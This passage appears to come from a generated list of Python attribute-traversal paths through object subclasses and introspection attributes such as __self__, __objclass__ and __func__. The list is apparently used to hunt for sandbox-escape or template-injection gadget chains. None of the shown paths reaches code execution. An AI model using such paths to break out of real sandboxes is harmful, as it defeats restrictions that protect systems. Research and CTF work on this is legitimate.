.._create_cb_wrapper.__init__.__self__", "Subclass 108: ..__init_subclass__.__self__.setstate", "Subclass 105: ..__init__.__dir__.__self__", "Subclass 108: ..setstate.__format__.__self__", "Subclass 164: ..__weakref__.__objclass__.repr_instance", "Subclass 80: ..release.__reduce__.__self__", "Subclass 109: ..write.__call__.__objclass__", "Subclass 86: ..module_repr.__delattr__.__self__", "Subclass 84: ..get_code.__self__.module_repr", "Subclass 93: ..load_module.__eq__.__self__", "Subclass 139: ..__str__.__init_subclass__.__self__", "Subclass 104: ..__repr__.__repr__.__self__", "Subclass 110: ..readline.__call__.__objclass__", "Subclass 174: ..__set_name__.__setattr__.__self__", "Subclass 80: ..__repr__.__class__", "Subclass 94: ..is_resource.__class__", "Subclass 140: ..__exit__.__sizeof__.__self__", "Subclass 108: ..setstate.__reduce__.__self__", "Subclass 175: ..__call__.__gt__.__self__", "Subclass 133: ..__exit__.__subclasshook__.__self__", "Subclass 96: ..create_module.__class__", "Subclass 109: ..readline.__new__.__self__", "Subclass 108: ..getstate.__new__.__self__", "Subclass 94: ..__subclasshook__.__self__.__eq__", "Subclass 137: ..__set__.__dir__.__self__", "Subclass 164: ..repr_tuple.__ne__.__self__", "Subclass 110: ..__exit__.__ge__.__self__", "Subclass 134: ..__init__.__reduce_ex__.__self__", "Subclass 119: ..__class__._abc_registry_clear", "Subclass 82: ..__init__.__repr__.__self__", "Subclass 131: ..__class__.__instancecheck__", "Subclass 199: ..contents.__getattribute__.__self__", "Subclass 95: ..__contains__.__repr__.__objclass__", "Subclass 138: ..throw.__class__", "Subclass 94: ..__hash__.__reduce_ex__.__self__", "Subclass 176: ..__init__.__lt__.__self__", "Subclass 81: ..__init__.__ne__.__self__", "Subclass 98: ..__repr__.__repr__.__self__", "Subclass 94: ..get_filename.__delattr__.__self__", "Subclass 192: ..__class_getitem__.__func__", "Subclass 134: ..__repr__.__ne__.__self__", "Subclass 95: ..__iter__.__str__.__self__", "Subclass 106: ..encode.__le__.__self__", "Subclass 177: ..__weakref__.__objclass__.enter_context", "Subclass 185: .._Tokenizer__next.__call__.__self__", "Subclass 198: ..create_module", "Subclass 164: ..repr_instance.__subclasshook__.__self__", "Subclass 172: ..__class_getitem__.__self__.__repr__", "Subclass 185: ..__subclasshook__.__self__.tell", "Subclass 94: ..__eq__.__delattr__.__self__", "Subclass 94: ..get_filename.__call__.__self__", "Subclass 164: ..repr1.__dir__.__self__", "Subclass 94: ..load_module.__delattr__.__self__", "Subclass 82: ..__enter__.__ne__.__self__", "Subclass 140: ..__subclasshook__.__self__.__exit__", "Subclass 114: ..__class__.register.__class__", "Subclass 109: ..__enter__.__new__.__self__", "Subclass 87: ..__exit__.__delattr__.__self__", "Subclass 186: ..scan.__hash__.__self__", "Subclass 109: ..__exit__.__str__.__self__", "Subclass 80: ..acquire.__le__.__self__", "Subclass 184: ..__setitem__.__hash__.__self__", "Subclass 95: ..__setitem__.__getattribute__.__self__", "Subclass 82: ..__exit__.__eq__.__self__", "Subclass 139: ..__str__.__hash__.__self__", "Subclass 174: ..__init_subclass__.__self__.__set_name__", "Subclass 95: .._recalculate.__call__.__self__", "Subclass 104: ..__repr__.__repr__.__objclass__", "Subclass 117: ..__aiter__.__str__.__self__", "Subclass 104: ..load_module.__repr__.__objclass__", "Subclass 185: ..__weakref__.__objclass__.getwhile", "Subclass 136: ..__repr__.__init_subclass__.__self__", "Subclass 140: ..__enter__.__repr__.__self__", "Subclass 177: ..callback.__setattr__.__self__", "Subclass 135: .._Printer__setup", "Subclass 184: ..getwidth.__new__.__self__", "Subclass 133: ..close.__dir__.__self__", "Subclass 107: ..__weakref__.__objclass__.reset", "Subclass 81: ..__repr__.__reduce__.__self__", "Subclass 94: ..is_resource.__sizeof__.__self__", "Subclass 110: ..__iter__.__init__.__self__", "Subclass 82: ..__exit__.__ne__.__self__", "Subclass 185: ..getwhile.__call__.__self__", "Subclass 164: .._repr_iterable.__call__.__self__", "Subclass 183: ..closegroup.__gt__.__self__", "Subclass 172: ..__init_subclass__.__self__.__init__", "Subclass 109: ..write.__new__.__self__", "Subclass 136: ..__call__.__class__", "Subclass 110: ..__enter__.__reduce__.__self__", "Subclass 109: ..__next__.__init__.__self__", "Subclass 106: ..encode.__get__.__self__", "Subclass 98: ..find_module.__format__.__self__", "Subclass 95: ..append.__sizeof__.__self__", "Subclass 109: ..readline.__dir__.__self__", "Subclass 115: ..__subclasshook__.__self__.__await__", "Subclass 164: ..repr_dict.__reduce_ex__.__self__", "Subclass 98: ..__init__.__le__.__self__", "Subclass 98: ..__subclasshook__.__self__.invalidate_caches", "Subclass 94: ..__init__.__new__.__self__", "Subclass 177: ..enter_context.__reduce__.__self__", "Subclass 188: ..__copy__.__delattr__.__self__", "Subclass 96: ..module_repr.__func__", "Subclass 177: ..__subclasshook__.__self__.__init__", "Subclass 184: ..__subclasshook__.__self__.append", "Subclass 98: ..__init__.__reduce_ex__.__self__", "Subclass 94: ..__weakref__.__objclass__.contents", "Subclass 94: ..contents.__ne__.__self__", "Subclass 184: ..insert.__gt__.__self__", "Subclass 139: ..__init__.__delattr__.__self__", "Subclass 183: ..closegroup.__reduce__.__self__", "Subclass 136: ..__repr__.__subclasshook__.__self__", "Subclass 130: ..__len__.__repr__.__objclass__", "Subclass 137: ..__delete__.__delattr__.__self__", "Subclass 134: ..__init__.__eq__.__self__", "Subclass 188: ..__copy__.__call__.__objclass__", "Subclass 94: ..get_filename.__get__.__self__", "Subclass 176: ..__init__.__ge__.__self__", "Subclass 109: ..__init__.__delattr__.__self__", "Subclass 94: ..__hash__.__sizeof__.__self__", "Subclass 140: ..__init_subclass__.__self__.__repr__", "Subclass 185: ..__init__.__lt__.__self__", "Subclass 195: ..BinaryIO.close.__class__", "Subclass 133: ..__enter__", "Subclass 185: ..getuntil.__reduce_ex__.__self__", "Subclass 131: ..__subclasshook__.__func__", "Subclass 179: ..__class__._get_mixins_", "Subclass 110: ..__weakref__.__objclass__.__getattr__", "Subclass 94: ..__init__", "Subclass 98: .._get_spec.__setattr__.__self__", "Subclass 184: ..append.__getattribute__.__self__", "Subclass 110: ..__getattr__.__lt__.__self__", "Subclass 134: ..__init__.__gt__.__self__", "Subclass 164: ..repr_tuple.__repr__.__self__", "Subclass 81: ..__init__.__class__", "Subclass 198: ..load_module.__setattr__.__self__", "Subclass 95: ..__repr__.__init_subclass__.__self__", "Subclass 109: ..readline.__hash__.__self__", "Subclass 185: ..get.__ge__.__self__", "Subclass 109: ..__enter__.__get__.__objclass__", "Subclass 94: ..resource_path.__str__.__self__", "Subclass 198: ..module_repr.__lt__.__self__", "Subclass 185: ..getwhile.__init__.__self__", "Subclass 137: ..__delete__.__get__.__objclass__", "Subclass 80: ..__init_subclass__.__self__.acquire", "Subclass 164: ..repr_tuple.__init_subclass__.__self__", "Subclass 164: ..repr_list.__new__.__self__", "Subclass 110: ..readline.__ne__.__self__", "Subclass 95: .._get_parent_path.__reduce__.__self__", "Subclass 183: ..checkgroup.__subclasshook__.__self__", "Subclass 137: ..getter.__ge__.__self__", "Subclass 137: ..__set__.__class__", "Subclass 82: ..__exit__.__repr__.__objclass__", "Subclass 196: ..Match.__call__.__func__", "Subclass 186: ..__weakref__.__objclass__.__init__", "Subclass 109: ..__getattr__.__call__.__objclass__", "Subclass 137: ..deleter.__call__.__objclass__", "Subclass 138: ..__init__.__str__.__self__", "Subclass 138: ..__iter__.__format__.__self__", "Subclass 110: ..__next__.__get__.__objclass__", "Subclass 183: ..__subclasshook__.__self__.closegroup", "Subclass 104: ..is_package.__getattribute__.__self__", "Subclass 136: ..__call__.__repr__.__self__", "Subclass 82: ..__init__.__new__.__self__", "Subclass 140: ..__repr__.__init_subclass__.__self__", "Subclass 177: ..enter_context.__ge__.__self__", "Subclass 137: ..getter.__format__.__self__", "Subclass 196: ..Pattern.__class__.__repr__", "Subclass 140: ..__enter__.__gt__.__self__", "Subclass 172: ..__repr__.__setattr__.__self__", "Subclass 184: ..__init__.__eq__.__self__", 'Global func 1: ..__class__.__defaults__.__objclass__', "Subclass 195: ..IO.readline.__class__", "Subclass 104: ..get_resource_reader.__gt__.__self__", "Subclass 138: ..__await__.__init_subclass__.__self__", "Subclass 197: ..__class__.__instancecheck__", "Subclass 87: ..__enter__.__reduce_ex__.__self__", "Subclass 198: ..create_module.__str__.__self__", "Subclass 183: ..checkgroup.__format__.__self__", "Subclass 164: ..repr.__sizeof__.__self__", "Subclass 186: ..__init__.__new__.__self__", "Subclass 80: ..__weakref__.__objclass__.__repr__", "Subclass 175: ..__call__.__ge__.__self__", "Subclass 164: ..repr_dict.__repr__.__objclass__", 'Global func 1: ..__getattribute__.__self__.__class__', "Subclass 177: ..callback.__new__.__self__", "Subclass 185: ..__subclasshook__.__self__.__init__", "Subclass 98: ..invalidate_caches.__subclasshook__.__self__", "Subclass 133: ..close.__get__.__objclass__", "Subclass 140: ..__exit__.__getattribute__.__self__", "Subclass 172: ..__repr__.__call__.__objclass__", "Subclass 107: ..__subclasshook__.__self__.reset", "Subclass 138: ..__await__.__lt__.__self__", "Subclass 110: ..__enter__.__new__.__self__", "Subclass 199: ..resource_path.__get__.__objclass__", "Subclass 93: ..exec_module.__format__.__self__", "Subclass 108: ..setstate.__init__.__self__", "Subclass 133: ..__iter__.__init__.__self__", "Subclass 177: ..pop_all.__format__.__self__", "Subclass 94: ..contents.__sizeof__.__self__", "Subclass 133: ..__init__.__ge__.__self__", "Subclass 84: ..is_package.__self__.module_repr", "Subclass 131: ..__class__._abc_registry_clear", "Subclass 104: ..__init__.__new__.__self__", "Subclass 174: ..__init_subclass__.__self__.__get__", "Subclass 106: ..encode.__sizeof__.__self__", "Subclass 98: ..find_spec.__class__", "Subclass 184: ..__delitem__", "Subclass 197: ..__class__.register.__class__", "Subclass 133: ..close.__eq__.__self__", "Subclass 177: .._push_cm_exit", "Subclass 96: ..get_source.__eq__.__self__", "Subclass 137: ..deleter.__get__.__objclass__", "Subclass 137: ..deleter.__reduce__.__self__", "Subclass 175: ..__call__.__get__.__objclass__", "Subclass 172: ..__class_getitem__.__self__._make_unbound_method", "Subclass 177: ..pop_all.__init_subclass__.__self__", "Subclass 96: ..load_module.__get__.__self__", "Subclass 105: ..open_resource.__init_subclass__.__self__", "Subclass 196: ..Match.__class__.copy_with", "Subclass 197: ..__class__._abc_registry_clear.__class__", "Subclass 188: ..__copy__.__le__.__self__", "Subclass 96: ..get_source.__dir__.__self__", "Subclass 94: ..__hash__.__ne__.__self__", "Subclass 104: ..load_module.__ge__.__self__", "Subclass 109: ..__init__.__str__.__self__", "Subclass 196: ..Match.__init__.__func__", "Subclass 186: ..scan.__call__.__self__", "Subclass 185: ..match.__subclasshook__.__self__", "Subclass 110: ..__init__.__ne__.__self__", "Subclass 84: ..is_package.__func__", "Subclass 185: ..getuntil.__gt__.__self__", "Subclass 137: ..__get__.__new__.__self__", "Subclass 199: ..is_resource.__new__.__self__", "Subclass 110: ..readlines.__repr__.__objclass__", "Subclass 94: ..get_data.__init_subclass__.__self__", "Subclass 109: ..write.__reduce__.__self__", "Subclass 164: ..repr_dict.__gt__.__self__", "Subclass 96: ..__init__.__repr__.__self__", "Subclass 133: ..close.__new__.__self__", "Subclass 164: ..repr_array.__lt__.__self__", "Subclass 185: ..getuntil.__get__.__objclass__", "Subclass 164: ..repr1.__class__", "Subclass 196: ..Match.__getattr__.__func__", "Subclass 199: ..resource_path.__call__.__objclass__", "Subclass 132: ..__class__.__instancecheck__", "Subclass 131: ..__contains__.__get__.__self__", "Subclass 109: ..seek.__lt__.__self__", "Subclass 93: ..load_module.__get__.__self__", "Subclass 96: ..is_package.__ne__.__self__", "Subclass 136: ..__repr__.__gt__.__self__", "Subclass 185: ..get.__dir__.__self__", "Subclass 109: ..__init_subclass__.__self__.__iter__", "Subclass 183: ..checkgroup.__le__.__self__", "Subclass 107: ..reset.__ge__.__self__", "Subclass 109: ..__init_subclass__.__self__.__next__", "Subclass 177: .._push_exit_callback.__get__.__self__", "Subclass 185: ..__init__.__call__.__self__", "Subclass 195: ..TextIO.writable.__class__", "Subclass 136: ..__call__.__init_subclass__.__self__", "Subclass 139: ..__str__.__init__.__self__", "Subclass 104: ..load_module", "Subclass 104: ..get_data.__subclasshook__.__self__", "Subclass 189: ..__init_subclass__.__func__", "Subclass 104: ..get_source.__init_subclass__.__self__", "Subclass 164: .._repr_iterable.__lt__.__self__", "Subclass 185: ..__init__.__format__.__self__", "Subclass 94: ..resource_path.__delattr__.__self__", "Subclass 172: ..__weakref__.__objclass__._make_unbound_method", "Subclass 93: ..load_module.__ne__.__self__", "Subclass 95: ..__weakref__.__objclass__._get_parent_path", "Subclass 172: ..__get__.__getattribute__.__self__", "Subclass 172: .._make_unbound_method.__setattr__.__self__", "Subclass 184: ..__getitem__.__reduce_ex__.__self__", "Subclass 93: ..is_package.__call__.__self__", "Subclass 135: ..__init__.__dir__.__self__", "Subclass 138: ..send.__setattr__.__self__", "Subclass 172: ..__repr__.__reduce__.__self__", "Subclass 174: ..__init__.__lt__.__self__", "Subclass 94: ..contents.__reduce_ex__.__self__", "Subclass 95: ..append.__getattribute__.__self__", "Subclass 96: ..__init__.__lt__.__self__", "Subclass 96: ..__subclasshook__.__self__.get_code", "Subclass 184: ..getwidth.__gt__.__self__", "Subclass 104: ..find_module.__new__.__self__", "Subclass 107: ..reset.__sizeof__.__self__", "Subclass 104: ..get_code.__call__.__self__", "Subclass 98: ..__subclasshook__.__self__.__repr__", "Subclass 109: ..__next__.__gt__.__self__", "Subclass 95: .._get_parent_path.__ge__.__self__", "Subclass 96: ..__init__", "Subclass 104: ..__init__.__ge__.__self__", "Subclass 175: ..__call__.__call__.__objclass__", "Subclass 96: ..__init_subclass__.__self__.__init__", 'Global func 1: ..__class__', "Subclass 110: ..__enter__.__ne__.__self__", "Subclass 104: ..get_data.__ge__.__self__", "Subclass 184: ..__repr__.__init_subclass__.__self__", "Subclass 199: ..__subclasshook__.__self__.open_resource", "Subclass 164: ..repr_set.__reduce_ex__.__self__", "Subclass 104: ..get_filename.__getattribute__.__self__", "Subclass 196: ..Match.__class__.__setattr__", "Subclass 109: ..read.__init_subclass__.__self__", "Subclass 135: ..__call__.__get__.__self__", "Subclass 95: .._get_parent_path.__call__.__objclass__", "Subclass 199: ..__class__.__instancecheck__", "Subclass 177: .._create_cb_wrapper.__getattribute__.__self__", "Subclass 177: .._create_cb_wrapper.__le__.__self__", "Subclass 110: ..write.__subclasshook__.__self__", "Subclass 184: ..__repr__.__get__.__objclass__", "Subclass 93: ..exec_module.__init__.__self__", "Subclass 81: ..acquire.__ne__.__self__", "Subclass 138: ..__weakref__.__objclass__.__await__", "Subclass 93: ..exec_module.__get__.__objclass__", "Subclass 80: ..__init__.__init_subclass__.__self__", "Subclass 95: ..append.__eq__.__self__", "Subclass 173: ..register.__sizeof__.__self__", "Subclass 96: ..get_code.__call__.__objclass__", "Subclass 104: ..is_package.__le__.__self__", "Subclass 179: ..__class__.__bool__.__class__", "Subclass 95: ..__len__.__sizeof__.__self__", "Subclass 107: ..encode.__reduce__.__self__", "Subclass 164: ..repr_instance.__call__.__self__", "Subclass 95: ..__getitem__", "Subclass 94: ..contents.__call__.__objclass__", "Subclass 195: ..IO.tell", "Subclass 108: ..__init__.__new__.__self__", "Subclass 195: ..IO.readlines", "Subclass 133: ..__exit__.__ne__.__self__", "Subclass 185: ..tell.__repr__.__self__", "Subclass 104: ..get_filename.__lt__.__self__", "Subclass 119: ..__iter__.__call__.__objclass__", "Subclass 172: ..__get__.__lt__.__self__", "Subclass 137: ..getter.__eq__.__self__", "Subclass 109: ..seek.__call__.__objclass__", "Subclass 164: ..repr_int.__le__.__self__", "Subclass 80: ..acquire.__lt__.__self__", "Subclass 110: ..reset.__ne__.__self__", "Subclass 177: ..pop_all.__subclasshook__.__self__", "Subclass 177: .._create_cb_wrapper.__repr__.__objclass__", "Subclass 105: ..is_resource.__str__.__self__", "Subclass 183: ..checklookbehindgroup", "Subclass 105: ..__init__.__getattribute__.__self__", "Subclass 107: ..__subclasshook__.__self__.getstate", "Subclass 173: ..register.__subclasshook__.__self__", "Subclass 86: ..__weakref__.__objclass__.module_repr", 'Global func 1: ..__le__.__self__', "Subclass 108: ..getstate.__get__.__self__", "Subclass 135: ..__call__.__reduce_ex__.__self__", "Subclass 108: ..__init_subclass__.__self__.getstate", "Subclass 98: ..find_module.__sizeof__.__self__", "Subclass 105: ..is_resource.__lt__.__self__", "Subclass 138: ..throw.__format__.__self__", "Subclass 183: ..__weakref__.__objclass__.opengroup", "Subclass 177: .._create_exit_wrapper.__call__.__objclass__", "Subclass 175: .._recreate_cm", "Subclass 135: ..__repr__.__reduce_ex__.__self__", "Subclass 184: ..__delitem__.__repr__.__objclass__", "Subclass 199: ..contents.__call__.__self__", "Subclass 177: ..__init_subclass__.__self__.__init__", "Subclass 197: ..find_module.__ge__.__self__", "Subclass 109: ..__exit__.__format__.__self__", "Subclass 110: ..__next__.__hash__.__self__", "Subclass 137: ..__delete__.__format__.__self__", "Subclass 80: ..__subclasshook__.__self__.acquire", "Subclass 105: ..resource_path.__le__.__self__", "Subclass 184: ..dump.__format__.__self__", "Subclass 137: ..getter.__init__.__self__", "Subclass 195: ..TextIO.close.__class__", "Subclass 105: ..contents.__dir__.__self__", "Subclass 184: ..__len__.__delattr__.__self__", "Subclass 184: ..__delitem__.__get__.__self__", "Subclass 109: ..__weakref__.__objclass__.reset", "Subclass 183: ..checklookbehindgroup.__repr__.__objclass__", "Subclass 83: ..__repr__.__format__.__self__", "Subclass 98: ..invalidate_caches.__gt__.__self__", "Subclass 183: ..__init__.__format__.__self__", "Subclass 185: ..getwhile.__le__.__self__", "Subclass 95: ..__repr__.__reduce_ex__.__self__", "Subclass 95: ..__init__.__get__.__self__", "Subclass 188: ..__deepcopy__.__setattr__.__self__", "Subclass 133: ..__enter__.__init_subclass__.__self__", "Subclass 80: ..acquire.__reduce__.__self__", "Subclass 104: ..get_resource_reader.__call__.__self__", "Subclass 164: ..repr_frozenset.__dir__.__self__", "Subclass 82: ..__enter__.__gt__.__self__", "Subclass 83: ..__repr__.__init_subclass__.__self__", "Subclass 109: ..__enter__.__call__.__objclass__", "Subclass 184: ..__delitem__.__format__.__self__", "Subclass 184: ..dump", "Subclass 81: ..acquire", "Subclass 177: ..enter_context", "Subclass 98: .._get_spec.__le__.__self__", "Subclass 110: ..readlines.__format__.__self__", "Subclass 107: ..reset.__get__.__objclass__", "Subclass 115: ..__await__.__sizeof__.__self__", "Subclass 183: ..__init__.__str__.__self__", "Subclass 199: ..open_resource.__ne__.__self__", "Subclass 164: ..__init_subclass__.__self__._repr_iterable", "Subclass 104: ..find_module.__delattr__.__self__", "Subclass 135: ..__repr__.__getattribute__.__self__", "Subclass 164: .._repr_iterable.__get__.__self__", "Subclass 135: .._Printer__setup.__ge__.__self__", "Subclass 177: .._push_exit_callback.__delattr__.__self__", "Subclass 185: ..error.__reduce__.__self__", "Subclass 84: ..module_repr.__init__.__self__", "Subclass 177: ..push.__ge__.__self__", "Subclass 94: ..is_resource.__new__.__self__", "Subclass 110: ..read.__gt__.__self__", "Subclass 94: ..__init__.__repr__.__self__", "Subclass 137: ..__get__.__sizeof__.__self__", "Subclass 94: ..contents.__get__.__objclass__", "Subclass 172: ..__init__.__repr__.__objclass__", "Subclass 109: ..write.__hash__.__self__", "Subclass 139: ..__str__.__get__.__objclass__", "Subclass 164: ..repr_array.__reduce__.__self__", "Subclass 137: ..__set__.__get__.__objclass__", "Subclass 115: ..__await__", "Subclass 137: ..__set__.__ne__.__self__", "Subclass 199: ..__class__.__subclasscheck__", "Subclass 94: ..__weakref__.__objclass__.get_filename", "Subclass 84: ..module_repr.__sizeof__.__self__", "Subclass 96: ..load_module.__gt__.__self__", "Subclass 106: ..encode.__call__.__objclass__", "Subclass 96: ..get_code.__delattr__.__self__", "Subclass 95: ..append.__repr__.__self__", "Subclass 199: ..__subclasshook__.__self__.contents", "Subclass 80: ..__repr__.__delattr__.__self__", "Subclass 98: ..find_module.__class__", "Subclass 110: ..readline.__new__.__self__", "Subclass 172: .._make_unbound_method.__init__.__self__", "Subclass 109: ..reset.__ge__.__self__", "Subclass 164: ..repr1.__gt__.__self__", "Subclass 94: ..resource_path.__reduce__.__self__", "Subclass 80: ..has_deadlock.__class__", "Subclass 96: ..exec_module.__new__.__self__", "Subclass 104: ..get_code.__init__.__self__", "Subclass 197: ..find_module.__init_subclass__.__self__", "Subclass 177: ..__init_subclass__.__self__.pop_all", "Subclass 184: ..__init__.__format__.__self__", "Subclass 185: ..seek.__le__.__self__", "Subclass 177: .._create_exit_wrapper.__call__.__self__", "Subclass 184: ..insert.__hash__.__self__", "Subclass 199: ..is_resource.__ne__.__self__", "Subclass 140: ..__repr__.__format__.__self__", "Subclass 108: ..decode.__lt__.__self__", "Subclass 110: ..writelines.__get__.__self__", "Subclass 95: .._recalculate.__setattr__.__self__", "Subclass 105: ..open_resource.__str__.__self__", "Subclass 96: ..load_module.__get__.__objclass__", "Subclass 175: .._recreate_cm.__init__.__self__", "Subclass 93: ..exec_module.__reduce_ex__.__self__", "Subclass 184: ..insert.__lt__.__self__", "Subclass 177: .._push_exit_callback.__eq__.__self__", "Subclass 80: ..__init_subclass__.__self__.__repr__", "Subclass 98: ..__init__.__lt__.__self__", "Subclass 199: ..open_resource.__get__.__objclass__", "Subclass 135: ..__repr__.__class__", "Subclass 98: ..find_loader.__repr__.__self__", "Subclass 109: ..__weakref__.__objclass__.__getattr__", "Subclass 183: ..checklookbehindgroup.__reduce_ex__.__self__", "Subclass 96: ..get_source.__subclasshook__.__self__", "Subclass 177: ..callback.__getattribute__.__self__", "Subclass 135: .._Printer__setup.__format__.__self__", "Subclass 131: ..__contains__.__init__.__self__", "Subclass 86: ..load_module.__func__.__class__", "Subclass 137: ..__set__.__ge__.__self__", "Subclass 185: ..error.__reduce_ex__.__self__", "Subclass 82: ..__exit__.__ge__.__self__", "Subclass 119: ..__iter__.__lt__.__self__", "Subclass 98: ..__init__.__getattribute__.__self__", "Subclass 110: ..seek.__eq__.__self__", "Subclass 198: ..create_module.__subclasshook__.__self__", "Subclass 96: ..exec_module.__setattr__.__self__", "Subclass 174: ..__get__.__lt__.__self__", "Subclass 192: ..__new__.__call__.__self__", "Subclass 133: ..__iter__.__format__.__self__", "Subclass 140: ..__enter__.__reduce__.__self__", "Subclass 104: ..__weakref__.__objclass__.__init__", "Subclass 179: ..__class__.__reversed__", "Subclass 86: ..module_repr.__dir__.__self__", "Subclass 137: ..__set__.__repr__.__objclass__", "Subclass 94: ..__init__.__hash__.__self__", "Subclass 179: ..__class__._get_mixins_.__class__", 'Global func 1: ..__ne__.__self__.__class__', "Subclass 95: ..__setitem__.__sizeof__.__self__", "Subclass 96: ..exec_module.__class__", "Subclass 109: ..write.__call__.__self__", "Subclass 95: ..append.__delattr__.__self__", "Subclass 138: ..__next__.__setattr__.__self__", "Subclass 172: ..__subclasshook__.__self__.__get__", "Subclass 95: ..__init__.__dir__.__self__", "Subclass 84: ..create_module.__func__.__class__", "Subclass 177: ..push.__str__.__self__", "Subclass 177: .._create_exit_wrapper.__reduce__.__self__", "Subclass 109: ..__next__", "Subclass 138: ..__init_subclass__.__self__.send", "Subclass 183: ..closegroup.__call__.__objclass__", "Subclass 177: ..enter_context.__get__.__objclass__", "Subclass 185: ..tell.__sizeof__.__self__", "Subclass 195: ..BinaryIO.flush", "Subclass 110: ..write.__init__.__self__", "Subclass 164: ..repr_set.__class__", "Subclass 104: ..get_code.__str__.__self__", "Subclass 139: ..__str__.__get__.__self__", "Subclass 186: ..__init__.__format__.__self__", "Subclass 192: ..__new__.__dir__.__self__", "Subclass 112: ..__class__.__instancecheck__.__class__", "Subclass 173: ..__get__.__getattribute__.__self__", "Subclass 138: ..__init_subclass__.__self__.close", "Subclass 138: ..__init__.__delattr__.__self__", "Subclass 96: ..__weakref__.__objclass__.load_module", "Subclass 138: ..__iter__.__repr__.__objclass__", "Subclass 195: ..BinaryIO.truncate.__class__", "Subclass 84: ..find_spec.__func__.__class__", "Subclass 95: ..__subclasshook__.__self__._recalculate", "Subclass 185: ..get.__delattr__.__self__", "Subclass 176: ..__init__.__getattribute__.__self__", "Subclass 164: ..repr_int.__init_subclass__.__self__", "Subclass 173: ..__get__.__call__.__objclass__", "Subclass 95: .._find_parent_path_names.__str__.__self__", "Subclass 93: ..is_package.__reduce__.__self__", "Subclass 137: ..__init_subclass__.__self__.__set__", "Subclass 104: ..__repr__.__call__.__objclass__", "Subclass 177: .._create_cb_wrapper.__str__.__self__", "Subclass 104: ..__subclasshook__.__self__.get_data", 'Global func 1: ..__gt__.__self__.__class__', "Subclass 95: ..__weakref__.__objclass__.__repr__", "Subclass 86: ..module_repr.__repr__.__objclass__", "Subclass 94: ..__init__.__ne__.__self__", "Subclass 137: ..__init__.__repr__.__self__", "Subclass 84: ..get_source.__func__", "Subclass 198: ..__weakref__.__objclass__.module_repr", "Subclass 94: ..__init__.__gt__.__self__", "Subclass 104: ..get_data.__init__.__self__", "Subclass 98: ..find_loader.__ge__.__self__", "Subclass 98: ..find_spec.__format__.__self__", "Subclass 130: ..__class__.register", "Subclass 81: ..__repr__.__ge__.__self__", "Subclass 97: ..find_spec.__func__", "Subclass 110: ..readlines.__getattribute__.__self__", "Subclass 137: ..__set__.__hash__.__self__", 'Global func 1: ..__lt__.__self__.__class__', "Subclass 109: ..__subclasshook__.__self__.__enter__", "Subclass 80: ..has_deadlock.__getattribute__.__self__", "Subclass 83: ..__init__.__le__.__self__", "Subclass 186: ..__init__.__call__.__self__", "Subclass 80: ..acquire.__ge__.__self__", "Subclass 114: ..__hash__.__init__.__self__", "Subclass 110: ..seek.__lt__.__self__", "Subclass 80: ..__init__.__repr__.__objclass__", "Subclass 104: ..__init__.__repr__.__objclass__", "Subclass 185: ..__init__.__new__.__self__", "Subclass 177: ..__init__.__reduce_ex__.__self__", "Subclass 183: ..opengroup.__init__.__self__", "Subclass 95: .._recalculate.__reduce__.__self__", "Subclass 107: ..reset.__init__.__self__", "Subclass 104: ..get_data.__init_subclass__.__self__", "Subclass 109: ..readlines.__ne__.__self__", "Subclass 117: ..__aiter__.__hash__.__self__", "Subclass 95: ..append.__gt__.__self__", "Subclass 177: ..callback.__get__.__self__", "Subclass 183: ..__init__.__call__.__self__", "Subclass 179: ..__class__.__contains__", "Subclass 164: ..repr_tuple.__gt__.__self__", "Subclass 133: ..__enter__.__sizeof__.__self__", "Subclass 138: ..throw.__get__.__objclass__", "Subclass 94: ..get_resource_reader.__dir__.__self__", "Subclass 199: ..is_resource.__subclasshook__.__self__", "Subclass 98: .._fill_cache.__call__.__self__", "Subclass 94: ..get_data", "Subclass 134: ..__repr__.__le__.__self__", "Subclass 94: ..get_resource_reader.__format__.__self__", "Subclass 138: ..__next__.__getattribute__.__self__", "Subclass 138: ..__init__.__init_subclass__.__self__", "Subclass 80: ..acquire.__class__", "Subclass 134: ..__init_subclass__.__self__.__init__", "Subclass 94: ..__init_subclass__.__self__.get_resource_reader", "Subclass 130: ..__class__.__subclasscheck__.__class__", "Subclass 133: ..__init__.__class__", "Subclass 195: ..IO.seek", "Subclass 134: ..__init_subclass__.__self__.__call__", "Subclass 140: ..__exit__.__subclasshook__.__self__", "Subclass 109: ..__weakref__.__objclass__.__next__", "Subclass 164: ..repr_frozenset.__hash__.__self__", "Subclass 164: ..repr_dict.__eq__.__self__", "Subclass 138: ..__next__.__call__.__objclass__", "Subclass 185: ..tell.__gt__.__self__", "Subclass 98: ..__init__.__str__.__self__", "Subclass 107: ..encode.__reduce_ex__.__self__", "Subclass 109: ..__enter__.__get__.__self__", "Subclass 94: ..__hash__.__get__.__self__", "Subclass 132: ..__class_getitem__.__func__.__reduce__", "Subclass 177: ..__init__.__repr__.__self__", "Subclass 188: ..__deepcopy__.__str__.__self__", "Subclass 198: ..load_module.__delattr__.__self__", "Subclass 172: ..__repr__", "Subclass 95: .._get_parent_path.__setattr__.__self__", "Subclass 138: ..__await__.__get__.__objclass__", "Subclass 131: ..__contains__.__le__.__self__", "Subclass 186: ..__init__.__setattr__.__self__", "Subclass 137: ..__weakref__.__objclass__.setter", "Subclass 199: ..__class__.__new__", "Subclass 108: ..reset.__gt__.__self__", "Subclass 109: ..__iter__.__sizeof__.__self__", "Subclass 104: ..is_package.__init_subclass__.__self__", "Subclass 80: ..acquire.__str__.__self__", "Subclass 109: ..__next__.__str__.__self__", "Subclass 186: ..__subclasshook__.__self__.__init__", "Subclass 95: ..append.__lt__.__self__", "Subclass 107: ..encode.__eq__.__self__", "Subclass 185: ..error.__new__.__self__", "Subclass 132: ..__call__.__call__.__self__", "Subclass 107: ..setstate.__lt__.__self__", "Subclass 185: ..getuntil.__eq__.__self__", "Subclass 131: ..__contains__.__hash__.__self__", "Subclass 133: ..__getattr__.__eq__.__self__", "Subclass 107: ..setstate.__reduce_ex__.__self__", "Subclass 134: ..__call__.__subclasshook__.__self__", "Subclass 83: ..__subclasshook__.__self__.__init__", "Subclass 82: ..__exit__.__repr__.__self__", "Subclass 137: ..__delete__.__setattr__.__self__", "Subclass 188: ..__deepcopy__.__lt__.__self__", "Subclass 138: ..__init__", "Subclass 196: ..Pattern.__setattr__.__func__", "Subclass 94: ..is_resource.__ge__.__self__", "Subclass 185: ..__init__.__reduce__.__self__", "Subclass 80: ..release.__init__.__self__", "Subclass 164: ..__init__.__le__.__self__", "Subclass 177: ..callback.__class__", "Subclass 95: ..__iter__.__hash__.__self__", "Subclass 98: ..invalidate_caches", "Subclass 105: ..__init__.__get__.__objclass__", "Subclass 107: ..encode.__init__.__self__", 'Global func 1: ..__ge__.__self__.__class__', 